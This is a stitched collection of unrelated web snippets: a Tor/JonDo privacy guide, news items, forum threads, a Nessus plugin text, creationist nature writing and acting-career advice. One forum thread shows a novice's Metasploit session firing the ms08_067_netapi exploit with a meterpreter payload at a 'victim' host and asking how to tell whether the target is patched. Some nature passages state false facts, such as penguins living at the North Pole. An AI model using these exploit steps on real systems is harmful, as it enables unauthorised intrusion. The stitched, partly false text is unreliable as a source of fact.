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are you looking for a little bit more privacy for surfing through the cyberspace?
after all these fantastic web 2.x innovations and more & more sophisticated
user-based web profiling, you should think about it...
even we all know that there is no doubt that google has the best and fastest
search engines/algorithms and no serious competive engine exists, still anyone
should care a bit about privacy settings, like in Firefox:
Preferences > Privacy > Private Data > 'Always clear my private data when I close firefox'
(click on settings right next to it and you should include cookies & saved passwords as well)
C'mon don't be too lazy to type in user/password in forms, get rid of your cookies on a regular base!
replace your default google page with this one:
Scroogle Scraper
install e.g. foxproxy to easiley switch between your tor proxy, FoxyProxy
(tor default: localhost:9050 socks proxy)
read about googles policies:
Advertising and Privacy ? Google Privacy Center
install anyonymous proxy services:
one option: using tor (yeahhh, there are rumors about it, of course it's not for HIGHLY anonymous surfing, but enough for the average user and YES it is quite slow, but there is always a drawback with anonymity and free of charge services (and pressure of law enforcement ;-)
Installation in BT4 is really simple and straight foward:
Code:sudo echo "deb http://deb.torproject.org/torproject.org intrepid main" >>/etc/apt/sources.list sudo gpg --keyserver keys.gnupg.net --recv 886DDD89 sudo gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - sudo apt-get update && aptitude install tor tor-geoipdb sudo update-rc.d -f tor remove sudo /etc/init.d/tor start
another very interesting initative: JonDonym (written in java)
I use it on a regular base, even the premium services for 10€/year is really worthwhile to spend, speed is more than enough for surfing (I think most nodes are in Europe)!
Also check-out there firefox profile:
Jondo Installation is also done in 5min:
Test it and give the 10€ a try, they even add anonymous payment options, or use your regularCode:sudo echo "deb http://debian.anonymous-proxy-servers.net intrepid main" >>/etc/apt/sources.list sudo wget http://anonymous-proxy-servers.net/downloads/JonDos_GmbH.asc sudo apt-key add JonDos_GmbH.asc sudo apt-get update sudo aptitude install jondo jondo
paypal account (start jondo > Config > Payment > Create account)
have fun and care about your privacy (especially for a pentester), don't forget: cyberspace doesn't forget anything, storage & cache is infinite ;-)

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The Death and Burial of Oswald McAllister
de Margaret Fisher Lawrence
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A heart-warming story of the McAllister family coming to terms with the loss of their dear pet mouse Oswald. Tenderly crafted with humor and grace by former school teacher Margaret Fisher Lawrence and featuring more than twenty watercolor illustrations, this story is appropriate reading for ages 6-8 and a pleasure for all ages.
Características y detalles
- Categoría Niños
Cuadrado pequeño, 18×18 cm
48 Páginas
- Fecha de publicación nov. 29, 2012
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About the Author Margaret Fisher Lawrence comes from a family of storytellers and has been a storyteller all her life. As a teacher, her students loved her stories so much that they told them to their younger brothers and sisters, who would ask her to tell their favorites when they were old enough to be in her class. This is Margaret's first children's book. She lives in St. Louis, MO and is 93 years young. About the Publishers Matthew Fisher and Bobbie Tilkens-Fisher enjoy their great aunt Margaret's stories so much, they decided to share one of them with the world. The Fishers are thankful to their friends and neighbors for joining them in their home to bring this story to life. They live outside of Philadelphia, PA.
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Washington, DC -- The General Services Administration (GSA) has awarded the first in a series of competitive contracts to support the Office of Management (OMB) and Budget Lines of Business (LoB) to SiloSmashers of Fairfax, Virginia GSA announced today.
GSA, which manages LoB organizing functions for OMB, awarded the blanket purchase order (BPA) on March 16. The BPA ends Sept. 30, 2006. Partner agencies will manage the LoBs, once they are up and running.
SiloSmashers will help the LoBs expand government-wide use of electronic government to advance goals in the President's Management Agenda to make government more efficient, effective and citizen-centric.
OMB task forces developing the three new LoBs -- Geospatial, IT Infrastructure Optimization, and Budget Formulation and Execution -- are seeking information from industry, nonprofits and federal agencies, as they develop common business solutions, a draft technical architecture and a business case for future investments.
These LoBs will continue to provide opportunities for many different contractors to submit proposals, in response to requests published periodically on FedBizOpps.gov.
GSA is a centralized federal procurement, property management, and policy agency, created by Congress to improve government efficiency and help federal agencies better serve the public. It acquires, on behalf of federal agencies, office space, equipment, telecommunications, information technology, supplies and services. It also plays a key role in developing and implementing governmentwide policies. GSA's 13,000 associates provide services and solutions for the office operations of more than one million federal workers located in more than 8,000 government-owned and leased buildings in 2,000 U.S. communities.


text: The Sheriff's office here in Los Angeles has recommended to prosecutors that Justin Bieber be charged with a felony as a result of the egg throwing incident at his neighbor's home. As much as I would like this recommendation to stick there is no way on this earth that Bieber is getting convicted of a felony for it. Even if he was charged with a felony he would never be convicted of one. That is not going to happen. Right now Bieber's people are trying to find a dollar figure that the neighbor will accept to make the whole thing go away. I'm sure they are probably willing to offer up to $1M for $20K worth of damage. If the neighbor stands firm and thinks he is doing the right thing by not accepting the money he should think again because Bieber will plead to something much less significant and just have to pony up the actual damage done to the property which is about $20K. As much as it would be nice to see Bieber convicted of a felony imagine all of the other tagging and vandalism that goes on in Los Angeles County on a daily basis and imagine if you convicted all of those people of felonies. It just isn't going to happen. The neighbor should take his big payday and hurt Bieber in the wallet because it will be the only pain Bieber feels because of this.


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Thread: Pregnant, now what?
6th January 2013 03:51 PM #1
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Pregnant, now what?
I just took a couple pregnancy tests, found out I'm pregnant. Now what do I do?! I am feeling a little lost and confused about what I need to be doing! :confused:
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Hi Annie,
How exciting! Congratulations on your pregnancy. I understand the feeling of not being exactly sure what your next step should be, but you're in the best place you could possibly be in for support, encouragement and direction.
The first thing I'd like to share is that your first appointment with a midwife or doctor most likely will be when you're about 10-12 weeks along. I usually made my first appointment for 11 weeks because there was a good chance by 11 weeks that I would be able to hear my baby's heartbeat with the doppler.
Here's a video of a mum's first appointment with her midwife. It's got a lot of good information in it so I think you will enjoy watching it.
When was the first day of your last period? If you tell me that, I'll be able to tell you how far along you are and when your due date is.
When I say that you would make your first appointment at 11 weeks, this is 11 weeks from the first day of your last period, and your baby would only be 9 weeks in development.
With quite a few weeks before you would normally have your first appointment, you'll want to start looking for your caregiver right away.
I noticed that you posted that you are curious about the difference between having a homebirth with a midwife as compared to a hospital birth with a doctor, so I would encourage you to interview at least one midwife (if she comes with high recommendations - be sure you call at least 5 references and talk to each woman who had her as their midwife and birth attendant). I would also encourage you to talk to at least 3 doctors, if you're considering hiring a doctor to be your caregiver.
I can give you suggestions on how to choose the best midwife or doctor, if you'd like.
The last thought I'd like to leave you with in this post, is that you need to start taking a high quality prenatal vitamin today, if you haven't been taking this. You also need to watch what you eat and drink, what you breath (avoid pumping gas into your vehicle, if you can) and what you do.
Everything you expose yourself to, you will be exposing your baby to, and your baby is so tiny, that even very small amounts of toxins can affect baby's development.
Here's a page that talks about Preconception Care, and the things on that page are very similar to what you will do during your pregnancy.
Warm Regards,
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Thank you so much! This was all really helpful. The first day of my last period was December 3
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Congrats Annie! You are very newly pregnant. Your expected due date should be around September 9, 2013. That date is based solely on your period. Remember, due dates are only an estimate, with ovulation, conception, and cycle length differing greatly from one woman to another. Most babies will be born between 38 and 42 weeks past a woman's last period. The due date falls in the middle at 40 weeks. However, very few women actually deliver on their due date and most go a bit over.
Now is a good time to begin researching pregnancy if you have not done so already. Read about the options for giving birth in your area and the benefits. Decide what sort of caregiver you would like to have whether it be a midwife, an obstetrician, or a general practitioner. If you haven't done so already, begin taking prenatal vitamins, cut down on caffeine consumption, and break ties with any unhealthy habits.
This is a wonderful time in your life, enjoy it! Congrats! Take care and keep us updated.


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That usually means that the computer you just attacked is not vulnerable to that exploit. Is the patch installed?
i'm a noob in metasploit framework, but yesterday i found out what's the "deal" with it, so i tested it but the error "Exploit completed, but no session was created." won't let me in:|
445/tcp open microsoft-ds (nmap scan for victim)
framework 3 code (today updated):
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 172.27.0.99
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:English[*] Selected Target: Windows XP SP2 English (NX)[*] Triggering the vulnerability...[*] Exploit completed, but no session was created.
can someone help with this error ? i mean "no session"
That usually means that the computer you just attacked is not vulnerable to that exploit. Is the patch installed?
Capitalisation is important. It's the difference between "Helping your brother Jack off a horse" and "Helping your brother jack off a horse".
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how can i find out if the victim's windows has the patch?:d
Thx for reply
To further help you out. Do not make another post here about "I do control it" etc. Because now it is too late. And because the coffee is good today. Look at this
Metasploit Unleashed - Mastering the Framework


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UPLAND - City Manager Stephen Dunn will re-present his recommendations for long-term savings to the City Council during their meeting on Monday night.
Dunn was asked by the council during a special meeting earlier this month to include cost estimates for his long-term recommendations to save $2 million in the budget annually.
"All I'm really asking for is for them to authorize me to go ahead and explore this stuff," Dunn said. "That's all I'm expecting, just authorization to explore it and bring each item back individually."
During the Nov. 7 special meeting, the council agreed to make $229,000 in cuts and transfer $250,000 from the gas tax fund if necessary in order to keep the city's finances from deteriorating further.
Councilwoman Debbie Stone asked the council to allow Dunn to move forward with his recommendations, but they wanted more information.
Stone said she hopes the council will make some decisions tonight.
"We have avoided making decisions while city financial reserves have continued to suffer," she said in an email. "We hired Stephen Dunn to do a job and we need to allow him to do it. Rather than continuing to postpone decisions, or sending things off to a committee, we need to listen to the options and take action."
The city's reserves have fallen from a projected $4.2 million to $932,000.
The long-term recommendations include exploring alternative ways to provide various city services such as fire, police, animal services, library, inspection services, fleet maintenance, information systems and engineering services.
Other long-term recommendations:
Selling the Fire Department's 100-foot ladder truck.
Renegotiating the contract for the air ambulance.
Running a paramedic-only unit out of Fire Station 2.
Brown-out a fire station to keep overtime costs down.
Asking employees for concessions.
If all city employees agree to pay their share of pensions, then the city would save $1.6 million citywide and $1.3 million in the general fund.
Councilman Brendan Brandt said he's hopeful that the city employees will work with the city and enter into new contracts that will help the city become fiscally sound, while continuing the high level of services residents expect.
He said he also think it's premature to look into outsourcing of services.
"The types of services that are being discussed are not things that we have done in the past in terms of outsourcing such as street sweeping and tree trimming," he said.
"The items that are being open for discussion are things that I believe would fundamentally change the way we work as a city and thus I'm hesitant to go down that path without exploring all our options with our employee groups."
Councilman Gino Filippi said he has confidence in Brandt's recommendations and agrees that the council needs a clearer picture before trying to solve the budget problems via piecemeal or eliminating whole departments.
Filippi views public safety and public works as the most crucial city services.
"If we unwind those - the police department and fire department - and then try to go back and regroup, we are going to have a larger problem. We have to think this through clearly before we reach for the knife."
Mayor Ray Musser said they need to look at every possibility in order to turn their fiscal situation around.
"Since June 30 we have lost another two or three-hundred-thousand and it tells us we are not on solid ground," he said. "We're still losing, so everything that we can possible look at has to be on the table."
Reach Sandra via email, call her at 909-483-8555, or find her on Twitter @UplandNow .


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This script is Copyright (C) 2005-2013 Tenable Network Security, Inc.
Synopsis :
The remote HP-UX host is missing a security-related patch.
Description :
s700_800 11.23 Serviceguard A.11.16.00 :
A potential security vulnerability has been identified with HP
Serviceguard running on HP-UX and Linux that may allow remote
unauthorized privileges.
See also :
Solution :
Install patch PHSS_31072 or subsequent.
Risk factor :
Critical / CVSS Base Score : 10.0
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5.2. Effect of New Versions. Once Documentation has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Documentation under the terms of any subsequent version of the License published by __________________[Insert name of the foundation, company, Initial Writer, or whoever may modify this License]. No one other than _________________ [Insert name of the foundation, company, Initial Writer, or whoever may modify this License] has the right to modify the terms of this License. Filling in the name of the Initial Writer, Original Documentation or Contributor in the notice described in the Appendix shall not be deemed to be Modifications of this License.
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UPDATE: Downed power lines forcing closure of Hwy 17 in Mount Pleasant
UPDATE: (10:36 AM) Highway 17 has been reported as open again, and traffic is beginning to flow.
From our News Partners at WCBD-TV:
According to MPPD spokesman, Maj. Stan Gragg, traffic is being diverted onto the frontage road to get around the affected intersection.
Traffic is piling up on Hwy17, so avoid the area if possible.
Gusty winds continue across the area in the wake of a strong front that moved through overnight.
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Two seasons after enduring controversy about reportedly planning a Hitler mini-series about the "good" young Hitler – and later airing a film that had no relation to that conceit at all – the network was quick to put the kibosh on any rumor that their upcoming miniseries on Pope John Paul II was going to be Problem No. II.
After a report posted on Arianna Huffington's blog by Lyn Davis Lear that Leslie Moonves, CBS head of all things network and beyond, gave the hechsher – after consulting with the current papal regime – that no Jews or gays would be involved in the film's production, Huffington's site promptly issued a retraction, admitting the error of its ways.
(One can only imagine the admonishment: "Don't run with that item; you'll put CBS' eye out!")
One thing's for sure; the pope about whom the biog's planned would never have given such a blessing himself for such bigotry.
Moonves, who's Jewish, was no doubt not exactly over the moon about the original report.
Another "Cold Case" solved.


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Surat az-Zuhruf;
Verse 57
"When an example is made of the son of Maryam," as a human being, including his importance, his existence and his return. "your people" Allah is addressing the Prophet (saas), "laugh uproariously." Almighty Allah says they will oppose Jesus the Messiah in this way. And we are facing the same problem in our own day.
Verse 61
"He is a Sign of the Hour. Have no doubt about it. But follow me. This is a straight path." Says Almighty Allah.
Verse 51
"Pharaoh called to his people, saying, 'My people, does the kingdom of Egypt not belong to me? Do not all these rivers flow under my control?"
There was a communist system at that time. The state had nationalized everything. Property and people all belonged to the state. There was no private property. There was a communist, Darwinist system. You ask how people came into being, and they say, "From the muddy waters of the Nile." What was the governing principle of state? Communism. What about religion and ideology. "Whatever Pharaoh wants is what will happen," they say. There was a deep state in charge. That is the system that dominates Islamic countries now.
Verse 52
"Am I not better than this man who is contemptible and can scarcely make anything clear?"
How do the members of the alleged terror organization regard the public? With the same mentality. What does Pharaoh say? "Am I not better than this man who is contemptible and can scarcely make anything clear?"
Verse 54
"In that way he swayed his people," this is the same in all pharaonic systems. They despise the ordinary people. "and they succumbed to him." And they submit to that pressure. They do not seek democracy and human rights. They submit. "They were a people of deviators," says Allah.
Sura al-Isra', 15
"Whoever is guided is only guided to his own good. Whoever is misguided is only misguided to his detriment. No burden-bearer can bear another's burden." So much for assuming the burden of someone else's sins! There can be no question of doing that. "We never punish until We have sent a Messenger." A Mahdi.
But when the Mahdi comes, Allah will punish them, to bring them to heel. Our Prophet (saas) is the greatest.2012-04-26 14:22:33


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Pet-friendly hotel near Baltimore Inner Harbor and Convention Center
Located near the I-695 Beltway, our Days Inn Baltimore South/Glen Burnie hotel is near The Baltimore Convention Center and just a short drive from Annapolis Naval Academy. We offer comfortable, affordable accommodations whether you are with us just one night, or plan to stay and enjoy the area. Shuttle service to and from Baltimore–Washington International Airport (BWI) is also provided.


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Emperor Penguins
Emperor penguins can dive 500 m deep without having a problem in their breathing and blood pressures for 20 minutes. In addition, they can adapt to these conditions in a number of ways. They can decrease their heart rate from 200 to 60 pulses per minute and so stock some extra myoglobin.
How can penguins stay breathless for long periods of time?
Myoglobin is a protein that exists in the muscles of this creature at high levels. These myoglobin proteins tie up high levels of oxygen molecules to themselves and hide them. So the oxygen required by the living being is hidden not in the air in lungs but directly in muscles. By this means, penguins can swim for a long time without breathing and can dive as deep as they want.
Who do they not experience nitrogen narcosis?
Penguins can continue swimming even if the oxygen in their blood is at the lowest level. Human beings suffer from depth intoxication in that case. This level is 20 mm Hg for penguins and 25 mm Hg for human beings. However, scientists have not been able to explain how penguins can jump on ice when in water, without being affected by blood pressure.
How can they go without food for 65 days?
There is a secret behind male penguins standing up for 65 days in order to protect t their eggs without eating anything. They have a special structure, which blocks their digestive systems, until the female penguin comes to look after the babies.
Perfect diving suits
In summer, they do not eat anything on ice for 1 month until they molt their fur. All old feathers fall off and new ones come out. In this way, a water resistant diving suit, which is airproof, keeps warm and prevents cold water reaching the skin, is formed. The most interesting point about their fur is that this fur grows when it is time for travel, just when they most need it.
Short stories from the poles…
In the North Pole, day light is only for 3 hours in the middle of winter. Penguins cuddle to one another in the remaining 21 hours in order to protect themselves from the cold.
Male penguins can increase their body temperature to 20° C by further coming closer to one another.
Single male penguins can live at temperatures of -10° C as they are not able to use other penguins' body heat.
How can penguins walk for kilometers with their large bodies and small legs in polar conditions?
Penguins walk like a pendulum swinging themselves to the right and left. They take their steps to their sides in order to save energy and enable muscles to get less tired. So they save energy at the end of each step to use in the next one. If they walked in a normal way, they would have to use twice as more energy than an animal of their size due to the fact that their legs are short. However, penguins consume energy only when they begin and stop walking.
These characteristics of penguins are one of the biggest evidences of the compassion and mercy of Allah over living beings. To walk in a way that saves energy by making kinetic and potential energy transformation, is not a method that can be adopted by any penguin. Unless Allah inspires so, no penguin can know about this transformation of potential and kinetic energy and form a walking style that can achieve that. The control of Allah over living beings is revealed in one verse of the Qur'an:
"… There is no creature He does not hold by the forelock…" (Surah Hud, 56)
How do seals find prey in deep waters?
A seal finds its prey by following its tracks in water but without using its eyes. These tracks are hydrodynamic waves formed by the movement of the prey in water and cannot be seen with the naked eye. The seal reaches its prey by following only these tracks. With this ability it is not difficult for the seal to hunt in dark or muddy waters.
Unknown feeding methods of whales
Though often considered contrarily, the cold waters of the North Pole are rich in terms of food. Whales migrate from warm waters to especially here. When they are at the poles they stock food by feeding on small fish called "krill" that look like shrimp.
Whales move together when they come across a school of fish or krill. When the fish begin to run from the surface to the deep in case of danger, whales dive even deeper all together. Right after then, they begin to let loose air bubbles to form a circle cage underneath the school of fish. So there is a circle wall made up of air bubbles that prevent the school of fish from getting away. Now the whales that begin to rise to the surface from the middle of the circle just open their mouths. The whales hunt prey easily by this plan and by moving together. There is only one explanation for this fascinating behavior of whales and that is these livings act with the inspiration of Almighty Allah Who created them.


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The human brain is a 3-pound (1.4-kilogram) mass of jelly-like fats and tissues—yet it's the most complex of all known living structures. Up to one trillion nerve cells work together and coordinate the physical actions and mental processes that set humans apart from other species.
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A rear view of the skull reveals the brain and the cervical spinal cord, which function together as the central nervous system. The remarkable apparatus uses motor neurons to control the body's many muscles and enables humans to perform myriad physical activities.
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The human brain may contain up to one trillion neurons. These nerve cells are interconnected, as shown in this microscopic image, so that they can transmit electrical impulses—and information—to other cells.
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Magnetic resonance imaging (MRI) techniques provide an extremely detailed, 3-D view of a living brain. The technique is critical for identifying abnormalities such as tumors, spotting the warning signs of some brain diseases, and revealing the extent of trauma from strokes.
Slice of Human Brain
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Thanks to precision cutting techniques, researchers are able to examine a paper-thin slice of human brain. Surgeons can also cut living brains without fear of hurting their patients—the organ is incapable of feeling pain.
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Skillful surgeons at UCLA Medical Center in Los Angeles, California, remove a tumor from a woman's brain. Malignant tumors indicate often lethal brain conditions, but even nonmalignant growths can preempt normal brain activity. Any tumor may compress regions of the brain and increase internal pressure, upsetting the organ's delicate functional balance.
Brain Surgery Patient
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A Baltimore, Maryland, epileptic patient performs tests designed to identify the source of his seizures. Surgeons placed electrodes in his brain that will record which parts of the organ become active when he performs a variety of physical and mental tasks.
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Annette Funicello, arguably the most famous Disney Mousketeer of all, died today in Los Angeles due to complications from MS.Funicello was born in 1942 in Utica, New York, to Italian-American parents. She moved to Southern California with her family at age four. She sang, danced, and modeled and was discovered at the age of 12 by Walt Disney when he saw her perform. He invited her to audition for his new television show for children, "The Mickey Mouse Club". I was four years old and my fam … [Read more...]
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Booker winner defends Israeli theater´s London show (HA´ARETZ NEWS) By Ido Balas 04/09/12)
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Booker Prize-winning British author Howard Jacobson on Sunday came out against calls to ban Habima Theater from performing at the Globe in London next month, saying that censoring art "is to tear out its very heart."
Jacobson, who won the Man Booker Prize in 2010 for his comic novel "The Finkler Question," was responding to a letter published in The Guardian last month that was signed by 37 leading actors, directors, producers and writers. The letter had called for the invitation to Habima to be withdrawn because the theater company had performed in settlements.
Habima is scheduled to perform "The Merchant of Venice" in Hebrew as part of Globe to Globe, a six-week festival featuring 37 Shakespeare plays, each performed in a different language.
"We ask the Globe to withdraw the invitation so that the festival is not complicit with human rights violations and the illegal colonization of occupied land," states the letter, whose signatories include Oscar-winning actress Emma Thompson, and writer and director Mike Leigh. "By inviting Habima, the Globe is associating itself with policies of exclusion preached by the Israeli state and endorsed by its national theater company."
Jacobson was one of several artists to come out against banning Habima.
Writing in Sunday newspaper The Observer, he said that censoring art "in the name of a political or religious conviction, no matter how sincerely held, is to tear out its very heart."
"With last week´s letter to the Guardian," he added, "McCarthyism came to Britain."
The playwright Sir Arnold Wesker and the actors Simon Callow ("Shakespeare in Love" ), Steven Berkoff ("The Girl with the Dragon Tattoo" ) and Maureen Lipman ("The Pianist" ) have expressed support for Habima´s participation in the festival. In an interview with Britain´s Jewish Chronicle, the artists said they wondered whether Emma Thompson and the other signatories to the Guardian letter had also objected to the participation of theater companies from countries like China, Zimbabwe or Pakistan, over the human rights records in those countries.
"Depriving an audience of an artistic experience is like the Nazis burning the books of the finest minds and talents of Europe," Wesker - who wrote a play called "The Merchant" from Shylock´s perspective - told the Chronicle.
The Globe´s management said it was standing by its decision to have Habima perform. The festival will also include a performance of "Richard II" in Arabic, by the Palestinian theater company Ashtar. (© Copyright 2012 Ha´aretz 04/09/12)
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I shopped my trusty local Food Co-Op the other day for some unusual whites to satisfy this month's Wine Focus. I basically bought anything I could identify as not a usual suspect. This 2007 Barbadillo Palomina Fina is the first one of those we've popped, and though we didn't know what to expect and therefore can't claim to have hand-chosen this wine for our food, I can't imagine a better pairing than this pleasantly low-acid wine (though not soft) with the heirlooom tomato salad dressed with just basil, EVOO and salt accompanied by grilled chicken sausages that was our dinner.
Palomina Fina, most here will know, is the base grape for sherry, and Barbadillo is a two century old sherry bodega. But this is not a fortified wine. I understand that most Spanish sherry houses actually make unfortified dry whites for local consumption, but I don't believe I've ever seen one in this country before. We loved it. And even without the oxidative flavors and brandy fortification, and even without the sweetness of the amontillado style he loves, a sherry lover like my husband could instantly identify the relationship between that eventual product and this charming dry white. There's an alabaster-white minerality amid the baked bosc pear, fig and raw blanched almond fruit. There's a caramel tone far away in the background, too, even though it's completely dry. On the palate the fruit's plenty rich without being big, and the wine has a well-balanced, round mouthfeel. Overall, this wine delivers a lot more than one expects for $7. Speaking of balance, the low acidity--not flabby, just lower than the young whites we normally drink--is nicely offset by remarkably low alcohol--just 11.5%.
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To all you wonderful teens out there...
First of all, congratulations for taking the time to ask questions and learn all you can. You are the ones who will succeed.
If you truly have the passion to work hard, be able to move on from one aspect of the process to another, deal with the endless disappointments that are bound to come your way and still never give up, then you will make it. The positive results will be amazing.
I have to tell you... starting out as a teen that is under 18 is probably the most difficult place to be. If you know this going in, then there are no surprises. You will be dealing with first and most importantly, having your parents support and their supervision. Legally, you cannot do this on your own. Your parents are still responsible for you and are also required to sign your contracts. Having a child or young adult work in this business creates a major change in every young actor's family's life style. It can be a very positive change, but it takes teamwork and flexibility to make it work and run as smoothly as possible.
Many parents are not ready to give up their own jobs, if necessary, or change their routine. They still love you dearly, but sometimes it just takes time to figure out how to balance this new commitment and make everything work. Please, be patient! It takes teamwork and flexibility on everyone's part.
Another reason it's a hard place to be is because you are at that age (unless you are very small for your age where you can be hired to play younger) where you are too big to play 12 or producers would rather hire 18 year olds to play 14 to 17 year olds. Producers would rather hire older teens who can work longer hours, who are out of school or emancipated (meaning legally signed over by your parents to an adult status, but emancipation is not what is always best for everyone) Also, emancipated actors still need to attend school and can negotiate to do school on the set if they have not finished their schooling. Becoming emancipated does not mean you're automatically out of school. Now, each situation is different and I don't mean to be getting you down, it's just the reality and the business side of it you need to be aware of. I still know lots of kids that are working at ages 14 to 17. It just depends what the producer and/or director is looking for. You just never know, that's why if this is what you really want, then you should never give up. That happened to my son. He was 14, going through a major voice change and thought he wouldn't be working in anything musical for quite awhile. Well, there was a director that was looking for that "growing into manhood" sound in a new musical. He heard my son and he booked it. We couldn't believe it. That's the best part... when you least expect it, something amazing will come your way.
Also be aware that some productions take so long to come together that even when you book a job, you might grow out of the part before you actually start the shoot or the performances. You have to be prepared for all sorts of things to just... happen! That's just the way it can be and it is out of your control. But, wonderful things happen, too. You just never know what new door is going to suddenly open for you - it happens all the time. You just have to keep the faith and never give up.
Okay, here's the biggy... a very important thing to remember when dealing with all of this is to keep your sense of humor.
In the mean time, you need to start putting a resume together. Your resume includes any talents, skills or experience you've had with acting, singing, or dance as well as cheerleading, gymnastics, musical instruments, martial arts, drama awards, etc. As you start or continue to participate in acting, music and/or dance classes, choirs, school plays, community theatre, or whatever, all these will be added credits to your resume. Be sure when listing high school credits, not to put the words high school on the resume. List the name of the the school's theatre or just the name of the school and then the word Theatre, without the words high school, if the school's theatre does not have it's own name. Such as, Jefferson High School Theatre would be Jefferson Theatre. Student films are a great way to gain experience in front of the camera and also give you some footage to have made into a directors reel. These can be listed under the Film category on your resume, if it is a lead, principal or supporting role (a role with lines you have spoken). Do not list extra or background work. Check out the local colleges in your area and see if they have a film department. Some of them have a place where you can submit your headshot and resume for them to keep on file for student projects. You want to do anything you can (within reason) to help further your training and experience. That is the FIRST thing that the agents will be looking for. Also, many Casting Directors read an actor's resume from the bottom up. They look at the training first.
Information on resumes and resume formats:
Acting is Everything by Judy Kerr - info and format.
Self-Management for Actors: Getting Down to Show Business by Bonnie Gillespie - excellent billing info.
NEXT! An Actor's Guide to Auditioning by Ellie Kanner and Paul G. Bens, Jr. - info and format
http://more.showfax.com/columns/corner/archives/2005_02_21.html http://more.showfax.com/columns/avoice/archives/2005_02_21.html http://more.showfax.com/columns/avoice/archives/2005_02_28.html
If you have not yet had any training or experience, now is the time to start. Become involved with any of your school's drama and/or choir activities. Join the Drama Club if your school has one. Work backstage if you're not performing on stage. There are lots of ways to be involved, which helps you learn to appreciate and respect each crew members job. Gain as much experience as you can in every aspect of performing.
Training is very important, so in addition to your school, look into classes that are outside of your school. You can usually audit the first class (not pay and observe or participate) to see if it's right for you. Take these classes seriously. You/your parents and your classmates will be paying good money to have such an opportunity and please, no text messaging during class! LOL (I actually sat in front of someone in one of my acting classes that was texting while the instructor was talking and while others were performing their scenes. Talk about disrespectful, distracting and annoying!!! Needless to say she never returned. She was not there for the right reasons).
Background work (working as an extra in film and TV) is also a great way to gain some experience and to learn what goes on behind the scenes, but remember, it does not count as "acting" on your acting resume. When you are first beginning to gain experience and don't have much on your resume you can list it as on-set experience under the Special Skills category. Here's a site for BG actors http://www.backgroundbeat.com
Next, you'll need a couple of photos to submit to the agents with your resume. Home snapshots are fine. You can have professional headshots taken before you get an agent if money is not an issue, but be prepared to have new ones taken if your agent requests it. They usually do. If you plan on auditioning on your own without an agent then you probably should get a set of professional headshots taken. A serious or more dramatic look for theatrical and a smiling shot with more energy for commercial and comedy work.
You can get a list of reputable agencies from SAG - Screen Actors Guild by calling 323-954-1600 (LA Branch), online at www.sag.org , the ATA - Association of Talent Agents www.agentassociation.com the book The Agencies--What the Actor Needs to Know published by Acting World Books, in either the NY or Hollywood edition. It is filled with current agency information, helpful details and is updated monthly, or the Ross Reports which are available in acting related book stores. The Ross Reports is a small, bi-monthly booklet that has television production, films in development, agent, manager and casting director listings, which can be ordered through Backstage and found at most book stores.
Finding an agent and knowing how to deal with them can seem a bit overwhelming. Two excellent books that can help answer all your questions about agents are How to Agent Your Agent by Nancy Rainford and An Agent Tells All by Tony Martinez.
Some actors just getting started prefer to have a manager to help them with their careers. Managers can be very helpful, but remember they will also receive a commission - a percentage (15 - 25%) of any earnings you receive from jobs they help book for you, in addition to the agent receiving a commission (10%) that the manager worked with for that booking. The commission percentage depends on each individual manager and/or agent and the job it related to. I believe print work is a higher percentage (20+20%). Here are the best places to look for legitimate managers: TMA - Talent Managers Association, Inc. www.talentmanagers.org, the NCOPM - National Conference of Personal Managers http://www.ncopm.com, for LA the Personal Managers Directory of Managers for Performing and Creative Talents published by Acting World Books, for NY the Henderson's Personal Managers Directory http://www.hendersonenterprises.com and for LA and NY the annual (Jan/Feb) Personal Managers Guide in the Ross Reports here on BackStage at http://www.backstage.com/bso/rossreports/article_displa...01843115&imw=Y&imw=Y
For more information on agents and managers, here is an excellent column worth reading.
To submit to an agent, send in your photo/s (one close-up and one 3/4 body shot if possible), a resume and a brief cover letter stating that you are looking for representation in whatever fields you are interested in whether it's Theatrical (Film and TV) (in NY Theatrical includes Film/TV and Stage), Commercial, Print, Stage, Voice-over, etc.
A legitimate agent does not advertise in the paper or approach you in the mall, solicit by mail or on the phone. Those are the "scam" artists to avoid. Legit agents only accept 10% commission from jobs you've booked, with nothing in advance. They do not demand you use "their" photographers or take "their" classes or use "their" vendors. Legit agents will recommend places for you to choose from.
If you are under 18 and planning on working in CA or NY, you will need an Entertainment Work Permit. The application form needs to be signed by both your parent and your school. For CA, the form can be obtained through the Division of Labor Standards Enforcement office. The application must be mailed in along with a certified copy of your birth certificate and a SASE - self-addressed, stamped return envelope. If it is for a renewal, be sure to include a copy of your current permit. The offices are no longer supplying the permits in person and it is preferred that you mail it in. You may take the application into the office, but it will be mailed back to you (supposed to be a 3 day turn-around). Be sure to follow all the directions on the form very carefully. Your grades must be a C or better in each of your classes. This should be taken care of as soon as possible, before booking your first job.
CA - http://www.dir.ca.gov/dlse/DLSE-Forms.htm
NY, I would check the labor laws at http://www.labor.state.ny.us/child/index.htm
since the laws in NY are constantly changing. The office is listed below.
NY - ACS Administration for Children's Services
Office of Child Performer Permits
150 William Street - Fifth Floor, Room 1
New York, N.Y. 10038
You will also need to open a Coogan Blocked Trust account at one of the major banks or financial institutes that handle them. Go to http://www.sag.org and click on Young Performers. It is stated on the CA work permit that the Coogan account is to be opened within 10 days of receiving your permit.
PLEASE NOTE: Due to the constant changes regarding work permits and Coogan account information, an extremely helpful site has been established to help keep you up to date and try to answer all your questions. You can also subscribe to their free Newsletter. I highly recommend this site. www.bizparentz.com
US Passports - Be sure you and at least one parent or guardian has a US Passport. You don't want to book a job and then suddenly lose out because it's being filmed outside the US and you don't have your passport. Things happen quickly in this industry and you need to be ready to go at a moments notice. When you have it, be sure to list US Passport on your resume. http://travel.state.gov
